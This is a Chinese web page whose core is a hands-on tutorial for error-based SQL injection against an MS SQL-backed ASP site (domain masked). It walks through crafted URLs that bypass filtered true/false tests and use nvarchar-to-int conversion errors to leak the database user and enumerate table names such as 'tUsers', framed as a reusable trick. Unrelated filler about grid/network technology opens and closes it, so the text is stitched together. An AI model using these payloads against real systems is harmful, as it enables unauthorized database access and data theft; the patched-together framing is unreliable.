网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
对于很多的MS
SQL数据库,要进行注入需要灵活的技巧与思路,就有如在第一篇文章里所提到的逻辑判断法。 有时候,一个注入点的判断不是单纯靠and 1=1和and 1=2的,就有如这网站:
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25
加个" ' "符号在后面,
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'
出错信息如下,
Unclosed quotation mark before the character string 'M10-25''
好,应该是注入点了,再试and 1=1,
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='1
是正常画面,再试and 1=2,
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20'1'='2
还是正常画面,看来是逻辑判断被过滤了,是不是不能注入了呢?然而,逻辑判断能被过滤,执行错误可不能被过滤。在unclosed quotation mark的前提下,我们先让它出错,然后再加个逻辑判断给它过滤和关掉那个" ' "符号。好,思路是这样,就提交这样的语句:
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20user>0%20and%20'1'='1
出错信息如下,
Syntax error converting the nvarchar value 'dbo' to a column of data type int
看到吧,成功了。所以下次当逻辑判断被过滤了,就利用它再结合执行错误来进行注入好了。
再试这语句,
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1
出错信息是,
Syntax error converting the nvarchar value 'tUsers' to a column of data type int
好,第一个表名是'tUsers'
再来,
http://www.xxxxx.com/view_topic.asp?MainTopicID=M10-1&TopicID=M10-25'%20and%20(select%20top%201%20name%20from%20(select%20top%202%20name%20from%20sysobjects%20where%20xtype='U'%20order%20by%20name%20desc)%20a%20order%20by%20name)>0%20and%20'1'='1
这次的出错信息是,
Syntax error converting the nvarchar value 'tTechnical' to a column of data type int
第二个表名是'tTechnical'
好了,就试到这里为止。共勉之。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……